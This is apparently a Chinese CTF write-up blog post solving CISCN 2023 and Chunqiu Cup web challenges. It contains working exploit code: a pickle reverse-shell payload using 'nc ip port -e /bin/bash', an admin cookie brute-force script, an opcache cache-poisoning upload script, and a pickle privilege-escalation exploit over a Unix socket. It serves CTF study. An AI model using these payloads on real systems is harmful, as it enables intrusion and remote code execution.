春秋杯春季联赛&&ciscn2023华北赛区部分题解
前言
复现几个比赛时没做出来的题
1.[CISCN 2023 华北赛区]ez_ruby
查文档可知
ruby内置的open函数,如果第一个字符是管道符|,后面就可以接命令。这可能是考察涉猎的知识范围广不广吧。

直接nc反弹shell即可

2.[CISCN 2023 华北赛区]ExifTool
看着天枢佬复现的,说是非预期,不知道预期解长什么样。
有个功能可以上传一个文件,然后他会使用Exif工具给出其exif信息(不过试了很多次没有回显)。
if 'file' in params:
filename = params['file'].filename
fileext = filename.split('.')[-1]
if fileext.lower() not in ['jpg', 'jpeg', 'png', 'gif']:
print('Warning: only allow jpg, jpeg, png, gif!')
session.filename = filename
session.filedir = filedir
fout = open(filedir + filename, 'wb')
fout.write(params['file'].value)
fout.close()
其会检查文件后缀是否是 jpg,jpeg,png,gif,但由于没有return,即使不是也可以接着执行写操作。
由于filename是可控的,而且也没有对其做任何过滤,此处就会有一个任意文件上传漏洞。
当时认为是
exifread这个这个包有洞,看了半天源码,看不下去就放下了。天枢分享后,得知就是覆盖session文件,然后反序列化rce。
先构造payload
import itsdangerous
import pickle, pickletools
import os
class test():
def __init__(self):
self.name = "test"
def __reduce__(self):
return (os.system, ("nc ip port -e /bin/bash", ))
a = pickletools.optimize((pickle.dumps(test(), 4)))
print(itsdangerous.base64_encode(a))
将脚本输出内容上传到 sessions目录下的888 的文件中

然后随意访问一个路由即可触发反序列化。(在本地搭的环境)

3.[CISCN 2023华北赛区]dolphin_haihai
问题出在,当用户登录成功时,如果选择7天内自动登录,会设置两个cookie作为身份认证,有效期为7天。

data_auth_sign函数如下,即对 0=admin1+登录时间戳用sha1做签名,那么就可以爆破token来登录admin。

记录一个大概的时间戳,写个脚本跑一下就成。
import requests
import hashlib
import sys
basetime = 168752xxxx
def sign(token):
token = token.encode()
return hashlib.sha1(token).hexdigest()
def try_cookie(start, end):
i = 0
req = requests.session()
for time in range(start, end):
time = str(time)
token = sign("0=admin1" + time)
headers = {
"Cookie":
f"PHPSESSID=kvcfp2dvj6v7t660brkltgaoul;dolphin_signin_token={token};dolphin_uid=1;"
}
response = req.get(
"http://localhost/admin.php/user/publics/signin.html",
headers=headers,
proxies=X)
# 判断登录是否成功
i = i + 1
print("第%d次尝试:%s" % (i, token))
sys.stdout.flush()
if "请输入您的用户名" not in response.text:
print("token is" + token)
exit(0)
try_cookie(basetime , basetime + 100)
天枢佬说是登录之后用phtml绕过上传即可。这里我没有找到直接的线索表示去上传phtml文件,但是可以看到php文件肯定上传不过去的。

4.[春秋杯 2023]php_again
这道题搞了挺久了。
<?php
$action = $_GET['action'];
if (empty($action)) {
highlight_file(__FILE__);
die();
}
switch ($action) {
case 0_0:
phpinfo();
break;
case 0o0_111:
exec('zip -r /tmp/www.zip *');
readfile('/tmp/www.zip');
break;
case 0b0_111:
var_dump(scandir('/var/www/html/'));
break;
case 0x0_555:
file_put_contents('/tmp/tmp.zip',base64_decode($_POST['data']));
break;
case 777_777:
exec('cd /tmp && unzip -o tmp.zip');
break;
}
?>
5个功能,
- phpinfo信息
- 压缩 /var/www/html目录到 /tmp/www.zip,可以读取 /tmp/www.zip
- 查看当前目录下的文件
- 上传文件 到 /tmp/tmp.zip
- 覆盖解压 /tmp/tmp.zip
根据https://xz.aliyun.com/t/223这篇文章可以注意到phpinfo的如下信息


开启了时间戳校验,所以之后需要获取文件创建时间。
接下来就串一遍流程
- 获取system_id
由于上文中的工具是php7的利用工具。这里我们看一下php8中system_id具体怎么生成的
通过动态调试php8.0.1(8.2.2编译一直不成功)的源码的可以发现。需要以下几个参数
先是PHP_VERSION

再是 ZEND_EXTENSION_BUILD_ID

接着是ZEND_BIN_ID

如果是-dev版本还会加 时间

接下来还有一个 uchar类型参数 hooks

由于这些 if语句都没有进去,所以还会更新一个\0。 8.0.1中最后得到的结果是

用python计算一下。

应该是这样没错了。
但是由于不会在linux动态调试php,ZEND_BIN_ID这个参数可能和windows的略有不同,算出来的结果始终不是正确的system_id.
最后还是在liunx直接下了一个php8.2.2的源码,编译安装了一下,注意一定要 编译安装,这里有个小坑
cd /usr/local
wget https://www.php.net/distributions/php-8.2.2.tar.gz
tar -zxvf php-8.2.2.tar.gz && cd php-8.2.2
注意下载完之后先不要编译!!
在题目的phpinfo信息中可以看到, Zend Extension的值是420020929,而正常拉下来的包都是 420020829.这里可能就是出题人故意改的,所以我们也需要改一下再编译。

打开 /usr/local/php-8.2.2/Zend/zend_extensions.h 文件,将其由原来的829改成929

之后再进行编译安装
apt-get install build-essential autoconf automake libtool libsqlite3-dev pkg-config libjpeg-dev libpng-dev libxml2-dev libbz2-dev libcurl4-gnutls-dev libssl-dev libffi-dev libwebp-dev libonig-dev libzip-dev
./configure --prefix=/usr/local/php --sysconfdir=/etc/php/8.2 --with-openssl --with-zlib --with-bz2 --with-curl --enable-bcmath --enable-gd --with-webp --with-jpeg --with-mhash --enable-mbstring --with-imap-ssl --with-mysqli --enable-exif --with-ffi --with-zip --enable-sockets --with-pcre-jit --enable-fpm --with-pdo-mysql --enable-pcntl
make && make install
cd /usr/bin
ln -s /usr/local/php/bin/php php8.2
cp /usr/local/php-8.2.2/php.ini-development /usr/local/php/lib/php.ini
cp /etc/php/8.2/php-fpm.conf.default /etc/php/8.2/php-fpm.conf
cp /etc/php/8.2/php-fpm.d/www.conf.default /etc/php/8.2/php-fpm.d/www.conf
打开 php.ini文件 ,开启opcache
zend_extension = opcache
opcache.enable=1
opcache.validate_timestamps=1
opcache.consistency_checks=1
opcache.file_cache=/tmp
进入 /var/www/html,写入一句话木马,然后开启服务器

访问之后便会在 /tmp目录下生成缓存文件,这就是正确的 system_id了。

得到index.php.bin

- 用功能二获取压缩包,压缩包中存在文件的创建时间。

解压后可以看到详细的时间

转化为时间戳就是 1687454440
- 用101打开index.php.bin,然后用上文给的模板即可确定时间戳的位置,修改时间戳

- 上传并解压文件
import base64
import requests
import zipfile
url = "http://eci-2ze7fpf1p0c6rj35tzho.cloudeci1.ichunqiu.com/?action="
file_to_compress = 'index.php.bin'
zip_file_path = 'index.zip'
with zipfile.ZipFile(zip_file_path, 'w') as my_zip:
my_zip.write(
file_to_compress,
'246104dd1c75c908e3152fa39e48dfb5/var/www/html/index.php.bin')
f = open(r"C:\Users\chiyan\Desktop\index.zip", "rb")
f = f.read()
f = base64.b64encode(f)
data = {"data": f}
url1 = url + "1365"
res = requests.post(url=url1, data=data)
#第二步 解压文件
url2 = url + "777777"
res = requests.get(url=url2)
再次访问时,我们已经拿到shell了


接下来就是个python的提权CVE。
import socket
import pickle
import os
import array
class Person():
def __reduce__(self):
command=r"cat /flag>/tmp/pwned"
return (os.system,(command,))
p=Person()
opcode=pickle.dumps(p)
print(opcode)
f = open("exp.data","wb")
f.write(opcode)
f.close()
# 定义抽象命名空间套接字路径 没ss
# socket_path = "\0"+os.popen("ss -lx | grep '@'|awk '{print $5}'").read().replace("@","").strip()
socket_path = "\0listener-51-0"
print(socket_path)
def sendfds(sock, fds):
'''Send an array of fds over an AF_UNIX socket.'''
# 创建套接字
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
# 连接到服务器
sock.connect(socket_path)
# 准备发送的数据
data = opcode
def send_fds(sock, msg, fds):
return sock.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, array.array("i", fds))])
file = open("exp.data",'rb')
fd = file.fileno()
parent_r, child_w = os.pipe()
fds = [fd,child_w,fd,fd]
msg = bytes([len(fds) % 256])
send_fds(sock,msg,fds)
# 关闭套接字
sock.close()
file.close()
春秋杯春季联赛&&ciscn2023华北赛区部分题解的更多相关文章
- 2021年春秋杯网络安全联赛秋季赛 勇者山峰部分wp
1.签到题-Crypto Vigenere 根据题目Vigenere可看出是维吉尼亚密码 使用在线网站破解 https://guballa.de/vigenere-solver flag:53d613 ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...
- 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun
目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...
- 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World
目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...
- BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World
id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...
- PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox
PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...
- 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox
太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...
- BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk
BUUCTF-[CISCN2019 华北赛区 Day1 Web5]CyberPunk 看题 看源码有提示?file=? 文件包含漏洞,可以利用这个漏洞读取源码. 分析 index.php?file=p ...
- “新智认知”杯上海高校程序设计竞赛暨第十七届上海大学程序设计春季联赛(D题,贪心+栈)
链接:https://ac.nowcoder.com/acm/contest/551/D来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 524288K,其他语言10485 ...
随机推荐
- 软件开发定律:海勒姆定律(Hyrum's Law)
hi,我是熵减,见字如面. 在软件开发中,你是否遇到过这种情况: 你正在开发一个购物车的功能,需要在用户添加商品到购物车时,将商品的信息存储到数据库中.你设计了一个简单的方法,如下所示: public ...
- stable diffusion打造自己专属的LORA模型
通过Lora小模型可以控制很多特定场景的内容生成. 但是那些模型是别人训练好的,你肯定很好奇,我也想训练一个自己的专属模型(也叫炼丹-_-). 甚至可以训练一个专属家庭版的模型(family mode ...
- 浅谈对属性描述符__get__、__set__、__delete__的理解
1.属性描述符的基础介绍 1.1 何为属性描述符? 属性描述符是一种Python语言中的特殊对象,用于定义和控制类属性的行为.属性描述符可以通过定义__get__.__set__.__delete__ ...
- 容器云平台监控告警体系(五)—— Prometheus发送告警机制
1.概述 在Prometheus的架构中告警被划分为两个部分,在Prometheus Server中定义告警规则以及产生告警,Alertmanager组件则用于处理这些由Prometheus产生的告警 ...
- 下一代大数据分布式存储技术Apache Ozone初步研究
@ 目录 概述 定义 特性 架构 总体架构 写数据 读数据 部署 安装方式 安装 Docker启动 Docker-compose启动 企业预置型(On Premise)安装 实践 命令行接口 Ofs ...
- 数据结构(DataStructure)-03
数据结构-03 **数据结构-03笔记** **递归** **二叉树** **广度遍历 - 二叉树** **深度遍历 - 二叉树** **二叉树练习一** **二叉树练习二** **二叉排序树练习一* ...
- C++ Primer 5th 阅读笔记:变量和基本类型
一些语言的公共特性 内建类型,如整型,字符型等: 变量,为值绑定的一个名字: 表达式和语句,操作值. 分支和循环,允许我们条件执行和重复执行: 函数,定义抽象计算单元. 扩展语言的方式 自定义类型: ...
- 谁想和我一起做低代码平台!一个可以提升技术,让简历装x的项目
序言 正如文章标题所述,最近一段时间低代码这个概念非常的火,但其实在不了解这个东西的时候觉得它真的很炫酷,从那时就萌生了做一个低代码平台的想法. 但随着时间的变化,现在市面上低代码各个业务方向的平台都 ...
- SqliLabs 第二关 ,数字型注入!!!
首先打开网页,进行注入点的测试 输入?id=1 and 1=1发现1=2的时候出现了报错,说明服务器接收了我们的指令,并且进行了反馈,说明了有注入点的存在,然后对注入点进行测试 然后输入order b ...
- 2020-01-20:mysql中,一张表里有3亿数据,未分表,要求是在这个大表里添加一列数据。数据库不能停,并且还有增删改操作。请问如何操作?
2020-01-20:mysql中,一张表里有3亿数据,未分表,要求是在这个大表里添加一列数据.数据库不能停,并且还有增删改操作.请问如何操作?福哥答案2020-01-20: 陌陌答案:用pt_onl ...